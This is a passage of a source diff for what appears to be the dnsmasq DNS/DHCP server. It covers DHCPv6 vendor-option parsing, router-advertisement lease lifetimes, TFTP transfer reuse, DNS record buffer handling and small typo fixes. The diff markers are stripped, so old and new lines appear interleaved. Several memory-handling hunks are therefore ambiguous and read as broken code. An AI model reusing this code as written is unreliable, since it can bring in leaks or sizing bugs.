new->opt = atoi(arg+8);
opt_len = 0;
option_ok = 1;
}
else
{
if ((new->opt = lookup_dhcp_opt(AF_INET6, arg+8)) != -1)
{
opt_len = lookup_dhcp_len(AF_INET6, new->opt);
if (!(opt_len & OT_INTERNAL) || flags == DHOPT_MATCH)
option_ok = 1;
}
}
/* option6:<opt>|<optname> must follow tag and vendor string. */
is6 = 1;
break;
}
#endif
else if (strstr(arg, "vendor:") == arg)
{
new->u.vendor_class = (unsigned char *)opt_string_alloc(arg+7);
@@ -1701,7 +1691,7 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
parse_hex(comma, new->val, digs, (flags & DHOPT_MATCH) ? &new->u.wildcard_mask : NULL, NULL);
new->flags |= DHOPT_HEX;
}
else if (is_dec)
else if (is_dec && !(opt_len & OT_DHCP6_VENDOR))
{
int i, val = atoi(comma);
/* assume numeric arg is 1 byte except for
@@ -1902,6 +1892,48 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
comma = split(arg);
}
new->val = newp;
new->len = p - newp;
}
else if (comma && (opt_len & OT_DHCP6_VENDOR))
{
/* First arg is Enterprise ID (4 bytes)
subsequent are length fields (2 bytes each) + string */
int enterprise, i, commas = 1;
unsigned char *p, *newp;
for (i = 0; comma[i]; i++)
if (comma[i] == ',')
commas++;
newp = opt_malloc(strlen(comma)+(2*commas)+4);
p = newp;
arg = comma;
comma = split(arg);
if (atoi_check(arg, &enterprise))
PUTLONG(enterprise, p);
else
goto_err(_("bad or missing enterprise ID in dhcp-option"));
arg = comma;
comma = split(arg);
if (!arg || !*arg)
goto_err(_("missing vendor class in dhcp-option"));
while (arg && *arg)
{
u16 len = strlen(arg);
unhide_metas(arg);
PUTSHORT(len, p);
memcpy(p, arg, len);
p += len;
arg = comma;
comma = split(arg);
}
new->val = newp;
new->len = p - newp;
}
@@ -1965,7 +1997,7 @@ static int parse_dhcp_opt(char *errstr, char *arg, int flags)
if (flags == DHOPT_PXE_OPT && (new->flags & DHOPT_VENDOR))
goto_err(_("No vendor-encap options allowed in dhcp-option-pxe"));
if (flags == DHOPT_MATCH)
{
if ((new->flags & (DHOPT_ENCAPSULATE | DHOPT_VENDOR)) ||
@@ -2800,7 +2832,7 @@ static int one_opt(int option, char *arg, char *errstr, char *gen_err, int comma
break;
}
case LOPT_CPE_ID: /* --add-dns-client */
case LOPT_CPE_ID: /* --add-cpe-id */
if (arg)
daemon->dns_client_id = opt_string_alloc(arg);
break;
@@ -6270,7 +6302,11 @@ void read_opts(int argc, char **argv, char *compile_opts)
if ((token = strtok(NULL, " \t\n\r")) &&
(daemon->domain_suffix = canonicalise_opt(token)))
break;
{
/* We don't call get_line_alloc() until it returns false and frees the automatically */
get_line_alloc(NULL, &line, &linesz);
break;
}
}
fclose(f);
+3 -3
View File
@@ -100,13 +100,13 @@ void poll_listen(int fd, short event)
{
/* Array too small. Extend. */
struct pollfd *new;
nfds_t newsize = (arrsize == 0) ? 64 : arrsize * 2;
arrsize = (arrsize == 0) ? 64 : arrsize * 2;
if (!(new = whine_realloc(pollfds, arrsize * sizeof(struct pollfd))))
if (!(new = whine_realloc(pollfds, newsize * sizeof(struct pollfd))))
return;
pollfds = new;
arrsize = newsize;
}
memmove(&pollfds[i+1], &pollfds[i], (nfds - i) * sizeof(struct pollfd));
+17 -2
View File
@@ -58,7 +58,7 @@ static int add_prefixes(struct in6_addr *local, int prefix,
unsigned int preferred, unsigned int valid, void *vparam);
static int iface_search(struct in6_addr *local, int prefix,
int scope, int if_index, int flags,
unsigned int prefered, unsigned int valid, void *vparam);
unsigned int preferred, unsigned int valid, void *vparam);
static int add_lla(int index, unsigned int type, char *mac, size_t maclen, void *parm);
static void new_timeout(struct dhcp_context *context, char *iface_name, time_t now);
static unsigned int calc_lifetime(struct ra_interface *ra);
@@ -608,6 +608,7 @@ static int add_prefixes(struct in6_addr *local, int prefix,
int do_slaac = 0;
int deprecate = 0;
int constructed = 0;
int have_lease = 0;
int adv_router = 0;
int off_link = 0;
unsigned int time = 0xffffffff;
@@ -660,6 +661,8 @@ static int add_prefixes(struct in6_addr *local, int prefix,
if (time < ((unsigned int)(3 * param->adv_interval)))
time = 3 * param->adv_interval;
}
if (context->flags & CONTEXT_SETLEASE)
have_lease = 1;
if (context->flags & CONTEXT_DEPRECATE)
deprecate = 1;
@@ -697,7 +700,19 @@ static int add_prefixes(struct in6_addr *local, int prefix,
/* configured time is ceiling */
if (!constructed || valid > time)
valid = time;
/* For CONSTRUCTED prefixes an explicitly configured lease time is
also a floor: an upstream delegating with very short lifetimes
(mobile links) would otherwise churn the addresses of any client
that sleeps through a few RAs. Deprecation still wins below. */
if (constructed && have_lease && !deprecate && !(flags & IFACE_DEPRECATED))
{
if (valid < time)
valid = time;
if (preferred < time)
preferred = time;
}
if (flags & IFACE_DEPRECATED)
preferred = 0;
+10 -24
View File
@@ -585,11 +585,8 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
{
len = to_wire(daemon->workspacename);
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, daemon->workspacename, len))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += len;
}
}
@@ -607,11 +604,8 @@ static int find_soa(struct dns_header *header, size_t qlen, char *name, int *sub
int secflag = 0;
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p, 20))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += 20;
#ifdef HAVE_DNSSEC
@@ -942,10 +936,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
{
/* Copy the rest of the RR and end. */
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p1, endrr - p1))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += endrr - p1;
}
else if (desc == 0)
@@ -962,11 +954,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
len = to_wire(name);
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, name, len))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += len;
}
else
@@ -976,11 +965,8 @@ int extract_addresses(struct dns_header *header, size_t qlen, char *name, time_t
desc = endrr - p1;
if (!blockdata_expand(addr.rrblock.rrdata, addr.rrblock.datalen, (char *)p1, desc))
{
blockdata_free(addr.rrblock.rrdata);
return 0;
}
return 0;
addr.rrblock.datalen += desc;
p1 += desc;
}
+2 -1
View File
@@ -1611,7 +1611,8 @@ size_t dhcp_reply(struct dhcp_context *context, char *iface_name, int int_index,
lease->extradata_size = lease->extradata_len = 0;
add_extradata_opt(lease, option_find(mess, sz, OPTION_VENDOR_ID, 1));
add_extradata_opt(lease, option_find(mess, sz, OPTION_HOSTNAME, 1));
lease_add_extradata(lease, (unsigned char *)client_hostname,
client_hostname ? strlen(client_hostname) : 0, 0);
add_extradata_opt(lease, oui);
add_extradata_opt(lease, serial);
add_extradata_opt(lease, class);
+2 -2
View File
@@ -255,10 +255,10 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
/* the packet data is unaligned, copy to aligned storage */
memcpy(&align, inbuff + 2, IN6ADDRSZ);
/* RFC6221 para 4 says if link_address in encapulation
/* RFC6221 para 4 says if link_address in encapsulation
is zero, ignore it, and, by implication, use the link
address of any enclosing encapsulation or, failing that
of the arrival interface on the the server. */
of the arrival interface on the server. */
if (!dhcp6_maybe_relay(state, opt6_ptr(opt, 0), opt6_len(opt), client_addr,
IN6_IS_ADDR_UNSPECIFIED(&align) ? link_address : &align, now))
return 0;
+67 -67
View File
@@ -27,87 +27,87 @@ void slaac_add_addrs(struct dhcp_lease *lease, time_t now, int force)
struct slaac_address *slaac, *old, **up;
struct dhcp_context *context;
int dns_dirty = 0;
if (!(lease->flags & LEASE_HAVE_HWADDR) ||
(lease->flags & (LEASE_TA | LEASE_NA)) ||
lease->last_interface == 0 ||
!lease->hostname)
return ;
old = lease->slaac_address;
lease->slaac_address = NULL;
for (context = daemon->dhcp6; context; context = context->next)
if ((context->flags & CONTEXT_RA_NAME) &&
!(context->flags & CONTEXT_OLD) &&
lease->last_interface == context->if_index)
{
struct in6_addr addr = context->start6;
if (lease->hwaddr_len == 6 &&
(lease->hwaddr_type == ARPHRD_ETHER || lease->hwaddr_type == ARPHRD_IEEE802))
if ((lease->flags & LEASE_HAVE_HWADDR) &&
!(lease->flags & (LEASE_TA | LEASE_NA)) &&
lease->last_interface != 0 &&
lease->hostname)
{
for (context = daemon->dhcp6; context; context = context->next)
if ((context->flags & CONTEXT_RA_NAME) &&
!(context->flags & CONTEXT_OLD) &&
lease->last_interface == context->if_index)
{
/* convert MAC address to EUI-64 */
memcpy(&addr.s6_addr[8], lease->hwaddr, 3);
memcpy(&addr.s6_addr[13], &lease->hwaddr[3], 3);
addr.s6_addr[11] = 0xff;
addr.s6_addr[12] = 0xfe;
}
struct in6_addr addr = context->start6;
if (lease->hwaddr_len == 6 &&
(lease->hwaddr_type == ARPHRD_ETHER || lease->hwaddr_type == ARPHRD_IEEE802))
{
/* convert MAC address to EUI-64 */
memcpy(&addr.s6_addr[8], lease->hwaddr, 3);
memcpy(&addr.s6_addr[13], &lease->hwaddr[3], 3);
addr.s6_addr[11] = 0xff;
addr.s6_addr[12] = 0xfe;
}
#if defined(ARPHRD_EUI64)
else if (lease->hwaddr_len == 8 &&
lease->hwaddr_type == ARPHRD_EUI64)
memcpy(&addr.s6_addr[8], lease->hwaddr, 8);
else if (lease->hwaddr_len == 8 &&
lease->hwaddr_type == ARPHRD_EUI64)
memcpy(&addr.s6_addr[8], lease->hwaddr, 8);
#endif
#if defined(ARPHRD_IEEE1394) && defined(ARPHRD_EUI64)
else if (lease->clid_len == 9 &&
lease->clid[0] == ARPHRD_EUI64 &&
lease->hwaddr_type == ARPHRD_IEEE1394)
/* FireWire has EUI-64 identifier as clid */
memcpy(&addr.s6_addr[8], &lease->clid[1], 8);
else if (lease->clid_len == 9 &&
lease->clid[0] == ARPHRD_EUI64 &&
lease->hwaddr_type == ARPHRD_IEEE1394)
/* FireWire has EUI-64 identifier as clid */
memcpy(&addr.s6_addr[8], &lease->clid[1], 8);
#endif
else
continue;
addr.s6_addr[8] ^= 0x02;
/* check if we already have this one */
for (up = &old, slaac = old; slaac; slaac = slaac->next)
{
if (IN6_ARE_ADDR_EQUAL(&addr, &slaac->addr))
{
*up = slaac->next;
/* recheck when DHCPv4 goes through init-reboot */
if (force)
{
slaac->ping_time = now;
slaac->backoff = 1;
dns_dirty = 1;
}
break;
}
up = &slaac->next;
}
else
continue;
/* No, make new one */
if (!slaac && (slaac = whine_malloc(sizeof(struct slaac_address))))
{
slaac->ping_time = now;
slaac->backoff = 1;
slaac->addr = addr;
/* Do RA's to prod it */
ra_start_unsolicited(now, context);
addr.s6_addr[8] ^= 0x02;
/* check if we already have this one */
for (up = &old, slaac = old; slaac; slaac = slaac->next)
{
if (IN6_ARE_ADDR_EQUAL(&addr, &slaac->addr))
{
*up = slaac->next;
/* recheck when DHCPv4 goes through init-reboot */
if (force)
{
slaac->ping_time = now;
slaac->backoff = 1;
dns_dirty = 1;
}
break;
}
up = &slaac->next;
}
/* No, make new one */
if (!slaac && (slaac = whine_malloc(sizeof(struct slaac_address))))
{
slaac->ping_time = now;
slaac->backoff = 1;
slaac->addr = addr;
/* Do RA's to prod it */
ra_start_unsolicited(now, context);
}
if (slaac)
{
slaac->next = lease->slaac_address;
lease->slaac_address = slaac;
}
}
if (slaac)
{
slaac->next = lease->slaac_address;
lease->slaac_address = slaac;
}
}
}
if (old || dns_dirty)
lease_update_dns(1);
/* Free any no reused */
/* Free any not reused */
for (; old; old = slaac)
{
slaac = old->next;
+7 -9
View File
@@ -251,15 +251,14 @@ static void tftp_request(char *packet, ssize_t plen, struct listener *listen, ti
for (tftp_cnt = 0, transfer = daemon->tftp_trans, up = &daemon->tftp_trans; transfer; up = &transfer->next, transfer = transfer->next)
{
tftp_cnt++;
if (sockaddr_isequal(&peer, &transfer->peer))
{
if (ntohs(*((unsigned short *)packet)) == OP_RRQ)
{
/* Handle repeated RRQ or abandoned transfer from same host and port
by unlinking and reusing the struct transfer. */
by abandoning old transfer. */
*up = transfer->next;
free_transfer(transfer);
break;
}
else
@@ -268,12 +267,14 @@ static void tftp_request(char *packet, ssize_t plen, struct listener *listen, ti
return;
}
}
tftp_cnt++;
}
/* Enforce simultaneous transfer limit. In non-single-port mode
this is done by not listening on the server socket when
too many transfers are in progress. */
if (!transfer && tftp_cnt >= daemon->tftp_max)
if (tftp_cnt >= daemon->tftp_max)
return;
}
@@ -302,12 +303,9 @@ static void tftp_request(char *packet, ssize_t plen, struct listener *listen, ti
#endif
}
/* May reuse struct transfer from abandoned transfer in single port mode. */
if (!transfer && !(transfer = whine_malloc(sizeof(struct tftp_transfer))))
if (!(transfer = whine_malloc(sizeof(struct tftp_transfer))))
return;
memset(transfer, 0, sizeof(struct tftp_transfer));
if (option_bool(OPT_SINGLE_PORT))
transfer->sockfd = listen->tftpfd;
else if ((transfer->sockfd = socket(family, SOCK_DGRAM, 0)) == -1)
@@ -857,7 +855,7 @@ static char *next(char **p, char *end)
return ret;
}
/* If we don't do anything, don't write the the input/ouptut
/* If we don't do anything, don't write the input/output
buffer. This allows us to pass in safe read-only strings constants. */
static void sanitise(char *buf)
{
+7 -6
View File
@@ -947,7 +947,7 @@ int kernel_version(void)
}
#endif
#define hash_ptr(x) (((unsigned int)(((char *)(x)) - ((char *)NULL))) & 0xffffff)
#define hash_ptr(x) (((uintptr_t)(x)) & 0xffffff)
void *whine_malloc_real(const char *func, unsigned int line, size_t size)
{
@@ -1038,16 +1038,15 @@ void free_real(const char *func, unsigned int line, void *ptr)
}
/* get lines from f, expand buffer as required. Buffer is freed when
EOF reached and we return zero. */
EOF reached and we return zero. Buffer also freed if f == NULL. */
int get_line_alloc(FILE *f, char **buffp, size_t *sizep)
{
int c;
size_t cnt = 0;
char *buff = *buffp;
while (1) {
c = getc(f);
while (1) {
int c = f ? getc(f) : EOF;
if (cnt == *sizep)
{
void *new;
@@ -1081,6 +1080,8 @@ int get_line_alloc(FILE *f, char **buffp, size_t *sizep)
return 1;
free(buff);
*buffp = NULL;
*sizep = 0;
return 0;
}